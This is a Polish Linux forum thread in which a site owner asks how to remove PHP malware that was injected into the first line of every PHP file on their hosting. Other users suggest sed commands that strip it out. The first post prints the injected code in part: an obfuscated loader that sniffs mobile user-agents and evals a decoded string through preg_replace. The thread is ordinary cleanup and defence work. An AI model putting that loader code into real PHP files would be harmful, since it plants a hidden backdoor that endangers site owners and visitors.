Strona 1 z 1

[bash + sed] Usunięcie fragmentu lini wedle wzorca

: 11 grudnia 2014, 14:30
autor: statistuta
Witam,

Na moim hostingu pojawił się wirus, który dopisuje do każdej pierwszej lini pliku php jakieś dziadostwo. Po wielkim odchudzeniu wygląda ono (to dziadostwo) mniej więcej tak:

Kod: Zaznacz cały

<?php foreach(explode("\x7c","\x6d\163\x69\145|\162\x76\72\x31\61|\141\x6e\144\x72\157\x69\144|\155\x6f\142\x69\154\x65\174\x69\160\x68\157\x6e\145|\151\x70\141\x64\174\x6f\160\x65\162\x61\40\x6d") as $lkl => $ljl) {if (strpos(strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]), $ljl) !== false) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $qcknpqaaai = '7]y86]267]
i tu teraz długi ciąg znaków, który kończy się:

Kod: Zaznacz cały

25c*W%x5c/(.*)/epreg_replaceoihxeekxtg'; $zkhhmosswf = explode(chr((292-248)),'5028,33,8354,37,9659,48,9544,50,715,57,6470,28,6147,21,140,26,6805,35,384,30,1757,61,2692,48,5644,64,1858,43,8751,54,2634,38,8040,49,4167,65,5287,29,9379,54,5394,60,166,49,772,53,5897,54,7489,68,2497,45,601,54,4344,22,1268,35,7271,54,5203,49,3087,49,3511,44,7421,68,6405,65,9707,58,6879,47,4232,62,7119,23,8391,39,9092,46,6200,49,3706,27,8805,69,9878,48,8966,52,1554,47,4066,54,3768,36,4745,58,2542,58,7393,28,4120,22,6540,55,5605,39,1385,52,5996,20,9267,44,1437,65,7229,42,4386,23,7351,42,79,61,2089,69,3960,49,7900,32,1901,28,8493,52,6079,68,1698,59,845,45,825,20,9515,29,6595,60,7646,60,564,37,4320,24,3175,36,1011,20,3660,46,414,61,3021,66,6498,42,3555,62,1303,45,4724,21,9485,30,10004,37,4409,42,2672,20,970,41,2034,55,5741,40,3297,31,4451,20,8874,66,7203,26,2268,50,6168,32,7796,61,4294,26,5104,40,7932,59,2978,43,5832,65,281,44,3891,28,9838,40,4366,20,9138,35,6926,36,1929,50,3136,39,1818,40,5454,37,5781,51,3617,43,7079,40,8667,39,2926,52,2853,52,9359,20,2783,28,3328,24,3352,35,1664,34,534,30,8430,24,5708,33,8089,36,59,20,6249,64,5552,33,7325,26,4662,62,9214,53,5585,20,3455,56,2359,25,6016,63,2740,43,0,59,6840,39,6736,69,6962,60,2384,59,9433,52,3733,35,4590,34,5144,59,6655,43,2600,34,890,21,6698,38,5363,31,8545,38,1979,55,7752,44,5316,47,1084,40,4844,51,1502,27,5951,45,9018,33,4142,25,8940,26,1179,55,3919,41,9594,65,1529,25,7991,49,7579,24,2217,51,8615,52,7142,32,10041,65,4009,57,3272,25,4963,65,5252,35,1124,55,9051,41,7857,43,8243,55,9973,31,2811,42,6313,39,8150,31,1601,63,5491,32,2905,21,4803,41,9765,24,9814,24,1348,37,9789,25,8583,32,2158,59,2318,41,7603,43,6352,53,5523,29,475,27,1234,34,8454,39,8706,45,7022,57,4471,55,3387,68,9173,41,655,60,7706,46,5061,43,3804,29,4526,64,502,32,4895,68,7174,29,215,66,8181,62,4624,38,1031,53,3833,58,7557,22,8125,25,8298,56,911,59,2443,54,3211,61,9311,48,325,59,9926,47'); $htaaqpdtah=substr($qcknpqaaai,(67545-57439),(48-41)); if (!function_exists('ipivutikvk')) { function ipivutikvk($uvsbpxbash, $rwycbvmrss) { $odrbowravy = NULL; for($dobrrgnqbm=0;$dobrrgnqbm<(sizeof($uvsbpxbash)/2);$dobrrgnqbm++) { $odrbowravy .= substr($rwycbvmrss, $uvsbpxbash[($dobrrgnqbm*2)],$uvsbpxbash[($dobrrgnqbm*2)+1]); } return $odrbowravy; };} $xtimkrshiv="\x20\57\x2a\40\x71\143\x6c\172\x76\154\x61\171\x72\172\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\61\x39\55\x31\70\x32\51\x29\54\x20\143\x68\162\x28\50\x36\62\x39\55\x35\63\x37\51\x29\54\x20\151\x70\151\x76\165\x74\151\x6b\166\x6b\50\x24\172\x6b\150\x68\155\x6f\163\x73\167\x66\54\x24\161\x63\153\x6e\160\x71\141\x61\141\x69\51\x29\51\x3b\40\x2f\52\x20\144\x6e\156\x78\146\x72\142\x62\141\x72\40\x2a\57\x20"; $ksevhyiwyr=substr($qcknpqaaai,(40604-30491),(49-37)); $ksevhyiwyr($htaaqpdtah, $xtimkrshiv, NULL); $ksevhyiwyr=$xtimkrshiv; $ksevhyiwyr=(699-578); $qcknpqaaai=$ksevhyiwyr-1; ?>
Całość dodawana jest do piwerszej lini w pliku, przed zawartością oryginalną. Ponieważ mam tam ogromną ilość plików php, w grę wchodzi tylko skrypt.

Chciałym wymazać to dziadostwo za pomocą sed'a. To co udało mi się do tej pory, to wsadzić w komentarz tego wirusa. Jest to jakieś rozwiązanie, ale ja wolałbym usunąć wszystko z pierwszej lini, oprócz tego co było. I nad tym już sporo się głowię. Wsadzanie tego długiego ciągu znaków we wzorzec jest utrudnione, bo występują w nim różne znaki kluczowe, typu: ', ". Pomyślałem, że najlepiej będzie zrobić coś ten deseń:
usuń dwa wystąpienia w pierwszej lini tego co zawiera się między <?php a ?>.

Założenia:
1) Kod dopisuje się zawsze do pierwszej lini przed zawartością oryginalną
2) Kod zawsze jest ten sam
3) Kod składa się z dwóch segmentów php, tzn: <?php segment1 ?><?php segment2 ?>

Jakieś sugestie dotyczące sposobu wycięcia tego robactwa z pierwszej lini za pomocą sed'a lub inaczej?

: 11 grudnia 2014, 17:42
autor: kodama
Generalnie jakbym miał wyciąć coś pomiędzy dwoma znacznikami php to bym to zrobił tak:
Przykład:

Kod: Zaznacz cały

kodama@debian:~/Pulpit$ echo "<?php jakiesdziwnesmieci ?>" | [b]sed -e 's/<?php .* ?>/<?php ?>/g' [/b]
<?php ?>
A ten kod u ciebie jest wstawiony jako pierwsza linijka w pliku? Bo jak tak to w miarę prosto można pyknąć.

: 11 grudnia 2014, 17:43
autor: dedito
Załącz przykładowy plik.

: 11 grudnia 2014, 22:50
autor: statistuta
Dziękuję Panowie za odpowiedźi i poruszenie tematu.

kodama
Generalnie jakbym miał wyciąć coś pomiędzy dwoma znacznikami php to bym to zrobił tak:
kodama@debian:~/Pulpit$ echo "<?php jakiesdziwnesmieci ?>" | sed -e 's/<?php .* ?>/<?php ?>/g'
<?php ?>
Ale usunie to też poprawne znaczniki <?php ?>które mogą znaleźć się w tej samej lini. Chyba, żeby ograniczyć sed'a do wykonania tylko dwóch zmian. To jakoś dało rade zrobić? (chyba z parametrem d?)

kodama
A ten kod u ciebie jest wstawiony jako pierwsza linijka w pliku? Bo jak tak to w miarę prosto można pyknąć.
Tak to jest zawsze w pierwszej linijce pliku. A jaki masz pomysł? Należy pamiętać, ze on się wstrzykuje przed orygnialną zawartością pierwszej lini do tejże lini, a więc ZAWSZE tam jeszcze coś jest. To coś nie chcemy usuwać. Problem jest taki, że po tym wstrzykniętym kodzie może być kolejny znacznik otwierający kod "<?php" lub html, lub jeszcze coś innego, a to oznacza, że nie ma jednego wzorca na to co się tam znajdzie.

dedito
Załącz przykładowy plik.
Załączone.

: 11 grudnia 2014, 23:45
autor: kodama
No na przykład takie polecenie:

Kod: Zaznacz cały

 sed '0,/<?php fore.*wyr-1; ?>/s//<?php ?>/' [I]nazwapliku[/I]
 
Wyrżnie tylko pierwsze wystąpienie ciągu, który: zaczyna się od <?php fore później występuje nieokreślona liczba dowolnych znaków .* i ciąg kończy się wyr-1; ?> - bo taki w tych przykładach co podałeś ten ciąg jest. Może nie do końca dobrze piszę - nie wytnie, tylko zamieni ten zły ciąg na prawidłowy ;) W każdym razie - zrobi to, czego potrzebujesz. Przynajmniej na tych dwóch plikach działa. Ale wiadomo - zawsze kopia, zanim zaczniesz rzeźbić. Do tego sprytną pętelkę ukręcić i jedziesz z tematem.

A właściwie czemu chcesz ten środek usuwać a znaczniki pehapa zostawić?

: 12 grudnia 2014, 08:16
autor: statistuta
Dziękuję kodama. Teraz już mam wszystko co jest mi potrzebne by to usunąć.

A co właściwie oznacza 0, na początku polecenia do wykonania w sedzie?

: 12 grudnia 2014, 17:19
autor: kodama
Oznacza dokładnie to, że rozchodzi się o pierwsze wystąpienie danego ciągu. http://www.linuxtopia.org/online_books/ ... html#s4.11